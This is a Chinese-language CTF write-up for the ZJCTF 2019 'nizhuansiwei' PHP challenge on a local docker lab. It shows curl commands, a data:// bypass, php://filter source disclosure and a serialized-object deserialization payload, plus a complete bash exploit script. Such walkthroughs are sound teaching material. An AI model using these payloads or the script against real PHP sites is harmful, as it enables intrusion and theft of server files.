实战:ZJCTF 2019 逆向思维
题目信息
- 来源:ZJCTF 2019 Final
- 类型:PHP 反序列化 + 文件包含
- 靶机复现:https://github.com/CTFTraining/zjctf_2019_final_web_nizhuansiwei/
- 部署方式:
git clone https://github.com/CTFTraining/zjctf_2019_final_web_nizhuansiwei.git
cd zjctf_2019_final_web_nizhuansiwei
docker-compose up -d
# 访问 http://127.0.0.1:8302/Step 1:查看题目源码
直接访问 http://127.0.0.1:8302/ 会显示 index.php 的源码(因为参数未设置,走到了 else 分支的 highlight_file)。
curl -s 'http://127.0.0.1:8302/'源码分析
三个参数:
- text:必须让 file_get_contents() 返回 “welcome to the zjctf”
- file:被 include(),但过滤了 /flag/
- password:经过 unserialize() 后被 echo
执行流程:
设置 text/file/password
↓
file_get_contents($text) === "welcome to the zjctf" ?
↓ Yes
preg_match("/flag/", $file) ?
↓ No(不含 "flag")
include($file) ← 加载文件
unserialize($password) ← 反序列化
echo $password ← 输出,触发 __tostring()
关键源码
index.php 完整逻辑:
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}else{
highlight_file(__FILE__);
}
?>useless.php 定义了 Flag 类:
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>flag.php 的内容:
<?php
if(2===3){
return ("flag{glzjin_wants_a_girl_firend}");
}
?>Step 2:绕过 text 检查
file_get_contents 默认读文件。传入 “welcome to the zjctf” 会去找本地文件,找不到返回 false。
用 data:// 伪协议,让 file_get_contents 返回字符串而不是读文件:
curl -s 'http://127.0.0.1:8302/?text=data://text/plain,welcome%20to%20the%20zjctf'预期输出:
<br><h1>welcome to the zjctf</h1></br>
说明第一个检查通过了。
Step 3:读取 useless.php 源码
用 php://filter 读取文件源码(base64 编码,绕过 PHP 解析):
curl -s 'http://127.0.0.1:8302/?text=data://text/plain,welcome%20to%20the%20zjctf&file=php://filter/convert.base64-encode/resource=useless.php'输出中有一段 base64,解码:
echo 'PD9waHAgIAoKY2xhc3MgRmxhZ3sg...' | base64 -d得到 useless.php 的源码。
关键发现
Flag 类的 __tostring() 方法会读取 $this->file 指向的文件:
class Flag{
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file); // 读取文件
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}Step 4:发现 flag.php
用 php://filter 读取 flag.php:
curl -s 'http://127.0.0.1:8302/?text=data://text/plain,welcome%20to%20the%20zjctf&file=php://filter/convert.base64-encode/resource=flag.php'等等——这会被 /flag/ 正则拦截。因为 file 参数的值包含 “flag”。
换一种方式:直接访问 flag.php 看看:
curl -s 'http://127.0.0.1:8302/flag.php'没有输出(因为 if(2===3) 条件永远为假)。但文件确实存在。
Step 5:构造序列化 payload
目标:创建 Flag 对象,$this->file = ”./flag.php”
用 php -r 自动生成(不用手工数长度):
php -r 'class Flag{public $file;} $o=new Flag(); $o->file="./flag.php"; echo serialize($o);'输出:
O:4:"Flag":1:{s:4:"file";s:10:"./flag.php";}
手工构造对照
| 部分 | 值 | 含义 |
|---|---|---|
| O | 对象类型 | |
| 4 | 类名长度 | ”Flag” = 4 字符 |
| ”Flag” | 类名 | 必须与类定义一致 |
| 1 | 属性数量 | 1 个属性 |
| s:4:“file” | 属性名 | ”file”(4 字符) |
| s:10:”./flag.php” | 属性值 | ”./flag.php”(10 字符) |
Step 6:绕过 /flag/ 正则
file 参数不能包含 “flag”,所以 file=useless.php(加载 Flag 类定义)。
flag 路径 “flag.php” 藏在 password 的序列化 payload 里——正则不检查 password 的内容。
# file=useless.php → 不含 "flag",通过正则
# password 的 payload 里有 ./flag.php → 正则不管Step 7:发送最终请求
PAYLOAD=$(php -r 'class Flag{public $file;} $o=new Flag(); $o->file="./flag.php"; echo serialize($o);')
curl --get 'http://127.0.0.1:8302/' \
--data-urlencode 'text=data://text/plain,welcome%20to%20the%20zjctf' \
--data-urlencode 'file=useless.php' \
--data-urlencode "password=$PAYLOAD"Step 8:获取 flag
输出:
<br><h1>welcome to the zjctf</h1></br>
oh u find it
<!--but i cant give it to u now-->
<?php
if(2===3){
return ("flag{glzjin_wants_a_girl_firend}");
}
?>
<br>U R SO CLOSE !///COME ON PLZ
flag:flag{glzjin_wants_a_girl_firend}
攻击链路图
用 ASCII 图画出完整的攻击流程:
┌─ text=data://text/plain,welcome to the zjctf ─────────────┐
│ file_get_contents() 返回 "welcome to the zjctf" │
│ 通过第一个检查 │
├─ file=useless.php ─────────────────────────────────────────┤
│ preg_match("/flag/", "useless.php") → 不匹配 │
│ include("useless.php") → Flag 类被定义 │
├─ password=O:4:"Flag":1:{s:4:"file";s:10:"./flag.php";} ──┤
│ unserialize() → Flag 对象,$this->file = "./flag.php" │
│ echo $password → 触发 __tostring() │
│ file_get_contents("./flag.php") → 输出 flag │
└────────────────────────────────────────────────────────────┘
知识点回顾
本题用到的反序列化知识:
- 序列化格式:O:4:“Flag”:1:{s:4:“file”;s:10:”./flag.php”;}
- __toString() 魔术方法:echo 对象时自动调用
- 文件读取:file_get_contents 被魔术方法调用
- 配合伪协议:data:// 绕过检查,php://filter 读源码
举一反三
如果题目改了过滤条件:
- 如果过滤也覆盖 password 参数 → 需要找其他注入点
- 如果过滤了 ./ → 需要用绝对路径或其他编码
- 如果 Flag 类的 __tostring 用了 eval 而不是 file_get_contents → 可以直接执行命令
完整自动化脚本
把整个攻击流程写成一个脚本,方便复现和调试:
#!/bin/bash
# ZJCTF 2019 逆向思维 - 自动化 exploit
# 用法: bash exploit.sh [target_url]
TARGET="${1:-http://127.0.0.1:8302}"
echo "[*] Target: $TARGET"
# Step 1: 生成序列化 payload
echo "[*] Generating serialized payload..."
PAYLOAD=$(php -r 'class Flag{public $file;} $o=new Flag(); $o->file="./flag.php"; echo serialize($o);')
echo "[*] Payload: $PAYLOAD"
# Step 2: 验证 data:// 绕过
echo "[*] Testing data:// bypass..."
RESP=$(curl -s "$TARGET?text=data://text/plain,welcome%20to%20the%20zjctf")
if echo "$RESP" | grep -q "welcome to the zjctf"; then
echo "[+] data:// bypass works"
else
echo "[-] data:// bypass failed"
exit 1
fi
# Step 3: 读取 useless.php 源码
echo "[*] Reading useless.php via php://filter..."
curl -s "$TARGET?text=data://text/plain,welcome%20to%20the%20zjctf&file=php://filter/convert.base64-encode/resource=useless.php" | grep -oP '[A-Za-z0-9+/=]{20,}' | base64 -d 2>/dev/null
# Step 4: 发送最终 payload
echo "[*] Sending final exploit..."
RESP=$(curl -s --get "$TARGET" \
--data-urlencode 'text=data://text/plain,welcome to the zjctf' \
--data-urlencode 'file=useless.php' \
--data-urlencode "password=$PAYLOAD")
echo "$RESP"
# Step 5: 提取 flag
FLAG=$(echo "$RESP" | grep -oP 'flag\{[^}]+\}')
if [ -n "$FLAG" ]; then
echo "[+] Flag found: $FLAG"
else
echo "[-] Flag not found in response"
fi运行脚本
chmod +x exploit.sh
bash exploit.sh http://127.0.0.1:8302PHP 伪协议参考
本题涉及两种伪协议,理解它们是解题的关键:
data:// 协议
格式:data://text/plain,内容
作用:让 file_get_contents 读取字符串而不是文件。
# 这两行等价
file_get_contents("data://text/plain,welcome to the zjctf")
file_get_contents("welcome to the zjctf") # 这个会去找文件php://filter 协议
格式:php://filter/convert.base64-encode/resource=文件名
作用:读取文件源码并 base64 编码,防止 PHP 解析。
# 读取 index.php 源码
curl -s 'http://127.0.0.1:8302/?text=data://text/plain,welcome%20to%20the%20zjctf&file=php://filter/convert.base64-encode/resource=index.php'反序列化核心原理
PHP 反序列化的攻击点在于:当对象被 echo/print 时,会自动调用 __toString() 方法。
攻击条件
- 目标类存在 __toString() 方法
- __toString() 中有危险操作(读文件、执行命令等)
- 能控制序列化字符串的内容
本题的攻击链
用户输入 password=O:4:"Flag":1:{s:4:"file";s:10:"./flag.php";}
↓
unserialize($password) → 创建 Flag 对象
↓
echo $password → 调用 Flag::__toString()
↓
__toString() 执行 file_get_contents("./flag.php")
↓
flag 内容被输出到页面
调试技巧
如果攻击没有成功,按以下顺序排查:
# 1. 检查 data:// 是否生效
curl -v 'http://127.0.0.1:8302/?text=data://text/plain,welcome%20to%20the%20zjctf'
# 2. 检查 payload 格式是否正确
php -r 'var_dump(unserialize("O:4:\"Flag\":1:{s:4:\"file\";s:10:\"./flag.php\";}"));'
# 3. 检查 useless.php 是否被正确包含
curl -s 'http://127.0.0.1:8302/?text=data://text/plain,welcome%20to%20the%20zjctf&file=php://filter/convert.base64-encode/resource=useless.php'
# 4. 检查 flag.php 是否存在
curl -s 'http://127.0.0.1:8302/flag.php'常见错误
| 错误 | 原因 | 解决方案 |
|---|---|---|
| Not now! | file 参数包含 “flag” | file=useless.php |
| empty output | text 参数错误 | 用 data:// 伪协议 |
| class not found | useless.php 没有被 include | 确保 file=useless.php |
| flag not found | 序列化格式错误 | 用 php -r 生成 |
| Connection refused | 靶机未启动 | docker-compose up -d |